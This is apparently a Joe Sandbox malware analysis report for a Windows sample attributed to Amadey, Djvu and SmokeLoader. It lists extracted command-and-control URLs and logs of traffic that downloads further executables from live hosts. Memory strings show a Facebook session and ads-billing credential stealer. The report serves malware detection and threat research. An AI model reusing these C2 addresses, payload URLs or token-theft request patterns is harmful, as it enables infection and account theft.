Source: C:\Users\user\AppData\Local\Temp\A078.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\5DF3.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\950D.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\9E07.dll	Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 6_2_0040E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	6_2_0040E870
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 6_2_0040EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	6_2_0040EAA0
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 6_2_00410FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	6_2_00410FC0

Source: Malware configuration extractor	URLs: 5.42.65.80/8bmeVwqx/index.php
Source: Malware configuration extractor	URLs: http://zexeq.com/lancer/get.php
Source: Malware configuration extractor	URLs: http://greenbi.net/tmp/
Source: Malware configuration extractor	URLs: http://speakdyn.com/tmp/
Source: Malware configuration extractor	URLs: http://pik96.ru/tmp/

Source: global traffic	TCP traffic: 192.168.2.4:49701 -> 95.214.25.207:3003
Source: global traffic	TCP traffic: 192.168.2.4:49747 -> 51.89.201.49:6932

Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /tmp/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: nordskills.eu
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /tmp/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: nordskills.eu
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /tmp/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: shsplatform.co.uk
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /dl/build.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: colisumy.com
Source: global traffic	HTTP traffic detected: GET /dl/build.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: colisumy.com
Source: global traffic	HTTP traffic detected: GET /file.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 95.214.25.207:3003
Source: global traffic	HTTP traffic detected: GET /wall.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 45.9.74.80
Source: global traffic	HTTP traffic detected: GET /govno.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 89.208.104.62
Source: global traffic	HTTP traffic detected: GET /dl/build.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: colisumy.com
Source: global traffic	HTTP traffic detected: GET /sts/imagc.jpg HTTP/1.1User-Agent: HTTPREADHost: us.imgjeoigaa.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dl/build.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: colisumy.com
Source: global traffic	HTTP traffic detected: GET /dl/build.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: colisumy.com
Source: global traffic	HTTP traffic detected: GET /file.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 95.214.25.207:3003
Source: global traffic	HTTP traffic detected: GET /file.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 95.214.25.207:3003
Source: global traffic	HTTP traffic detected: GET /dl/build2.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: colisumy.com
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.43Host: aa.imgjeoogbb.com
Source: global traffic	HTTP traffic detected: GET /dl/build2.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: colisumy.com
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.43Host: aa.imgjeoogbb.com
Source: global traffic	HTTP traffic detected: GET /wall.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 45.9.74.80
Source: global traffic	HTTP traffic detected: GET /govno.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 89.208.104.62
Source: global traffic	HTTP traffic detected: GET /dl/build2.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: colisumy.com
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.43Host: aa.imgjeoogbb.com
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.43Host: aa.imgjeoogbb.com
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.43Host: aa.imgjeoogbb.com
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.43Host: aa.imgjeoogbb.com
Source: global traffic	HTTP traffic detected: GET /calc2.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: reinroot.top
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.43Host: aa.imgjeoogbb.com
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.43Host: aa.imgjeoogbb.com
Source: global traffic	HTTP traffic detected: GET /412a0310f85f16ad/sqlite3.dll HTTP/1.1Host: adriaenclaeys.topCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.43Host: aa.imgjeoogbb.com
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.43Host: aa.imgjeoogbb.com
Source: global traffic	HTTP traffic detected: GET /156.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: h170013.srv22.test-hf.su
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.43Host: aa.imgjeoogbb.com
Source: global traffic	HTTP traffic detected: GET /157.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: h170013.srv22.test-hf.su
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.43Host: aa.imgjeoogbb.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: TeslaBrowser/5.5Host: gstatic-node.io
Source: global traffic	HTTP traffic detected: GET /login HTTP/1.1Connection: Keep-AliveUser-Agent: TeslaBrowser/5.5Host: gstatic-node.ioCookie: PHPSESSID=utbhmgu610tmigil9ct5iq9v8r
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.43Host: aa.imgjeoogbb.com
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.43Host: aa.imgjeoogbb.com
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.43Host: aa.imgjeoogbb.com
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.43Host: aa.imgjeoogbb.com
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.43Host: aa.imgjeoogbb.com
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.43Host: aa.imgjeoogbb.com

Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.207

Source: aafg31.exe, 0000001E.00000002.799533158.0000000002900000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: InitOnceExecuteOnceCreateSemaphoreWCreateSemaphoreExWCreateThreadpoolTimerSetThreadpoolTimerWaitForThreadpoolTimerCallbacksCloseThreadpoolTimerCreateThreadpoolWaitSetThreadpoolWaitCloseThreadpoolWaitFlushProcessWriteBuffersFreeLibraryWhenCallbackReturnsGetCurrentProcessorNumberCreateSymbolicLinkWGetCurrentPackageIdSetFileInformationByHandleInitializeConditionVariableWakeConditionVariableInitializeSRWLockAcquireSRWLockExclusiveTryAcquireSRWLockExclusiveReleaseSRWLockExclusiveSleepConditionVariableSRWCreateThreadpoolWorkSubmitThreadpoolWorkCloseThreadpoolWorkUnknown exceptionbad array new lengthstring too longmap/set too longMUI1isinstall0macuidun_pwdc_userdblnMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.43https://www.facebook.com/ed/login/ice-bas/login/dev"="st"azoe"jsd""luid"=urce""sot=oesjazlsd&d=&uirce=&souxt=&nehttps://www.facebook.com/login/device-based/login/ersc_uonkieJscoocookieJsonhttps://adsmanager.facebook.com/ads/manager/accounts<tbodyaccountIdpayInfo</tbody>></tr><tr?act</td> <tdlastRowdata-sortpaidbilling_statushttps://business.facebook.com/billing_hub/payment_settings/?asset_id="ACCOUNT_ID":"globalScopeID":token":""DTSGInitData""LSD",:"__spin_r""__spin_t"av=&__user=&__a=1&__csr=&__req=5&dpr=1&__ccg=EXCELLENT&__comet_req=0&fb_dtsg=&lsd=&__spin_r=&__spin_b=trunk&__spin_t=&fb_api_caller_class=RelayModern&fb_api_req_friendly_name=BillingAMNexusRootQuery&variables={"paymentAccountID":""}&server_timestamps=true&doc_id=4123775161071594https://business.facebook.com/api/graphql/?lll=pppdatabillable_account_by_payment_accountbilling_payment_accountbilling_payment_methodspayment_modesSUPPORTS_POSTPAYhttps://business.facebook.com/selectbusiness_id=businesshttps://www.facebook.com/pages/?category=your_pages&ref=bookmarks}"profile_switcher_eligible_profiles":{"count"hasHomePage"admined_pages":{"nodes":[{"id"aria-label="Verified"http://aa.imgjeoogbb.com/check/safe{"sid":0,"time":0,"rand_str":""}http://aa.imgjeoogbb.com/check/?sid=dsi#IO$J2&89DFJ2^984%7FJfj<>asi?h3.728*fhastimerand_str89%3gj,IH@<F7>84\|j5kl3;4y:jdFJOhf01(92)3&key=invalid vector subscriptinvalid string positionvector too long equals www.facebook.com (Facebook)
Source: aafg31.exe, 0000001E.00000002.799533158.0000000002900000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: iostreambad castbad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setinvalid stoi argumentstoi argument out of range^(([^:\/?#]+):)?(//([^\/?#:])(:([^\/?#]))?)?([^?#])(\?([^#]))?(#(.))?httphttps?POSTGET/device-based/loginContent-Type: application/x-www-form-urlencodedContent-Length: facebooksec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114", "Microsoft Edge";v="114"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1Connection: keep-alive/selectHost: business.facebook.comsec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-ch-prefers-color-scheme: lightUpgrade-Insecure-Requests: 1Sec-Fetch-Mode: navigate: ?1Sec-Fetch-Userest: documentSec-Fetch-Dame-originch-Site: sSec-Fet/accountsHost: adsmanager.facebook.com/billing_hub/bile: ?0a-mosec-ch-urm: "Windows"latfosec-ch-ua-polor-scheme: lightefers-csec-ch-precure-Requests: 1de-InsUpgraetch-Site: noneSec-Fode: navigateetch-Mer: ?1c-Fetch-UsSementest: docutch-DSec-Feapi/graphql/?lll=pppX-FB-Friendly-Name: BillingHubPaymentSettingsPaymentMethodsListQueryOrigin: https://business.facebook.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: empty/v15.0/k.comcebooHost: graph.fadows": "Winsec-ch-ua-platform-urlencodedpplication/x-www-formContent-type: aept: /*Accok.comaceboOrigin: https://www.fame-sitetch-Site: stch-Mode: corsmptych-Dest: eook.com///www.facebReferer: https:ook.comw.facebHost: wwobile: ?0-ch-ua-msecindows"a-platform: "Ws-color-scheme: lightprefersec-ch-equests: 1ecure-RUpgrade-InsSec-Fetch-Site: noneMode: navigateSec-Fetch-ser: ?1Sec-Fetch-Uentst: documSec-Fetch-DeCache-Control: max-age=0vector<bool> too longalnumalnumalphaalphablankblankcntrlcntrlddigitdigitgraphgraphlowerlowerprintprintpunctpunctspacespacesupperupperwwxdigitxdigit equals www.facebook.com (Facebook)

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Amadey

Threatname: Djvu

Threatname: SmokeLoader

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_5542.exe_5ac38a4e5fb321a298a6150e45c492d2cc5cfb_48c80c5d_1492b393\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD26A.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDD29.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDE63.tmp.xml

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\d2cd906a43a4a9c74d1ebbacdb1b42a7

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\F0EE.exe.log

C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat

Windows Analysis Report
file.exe

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

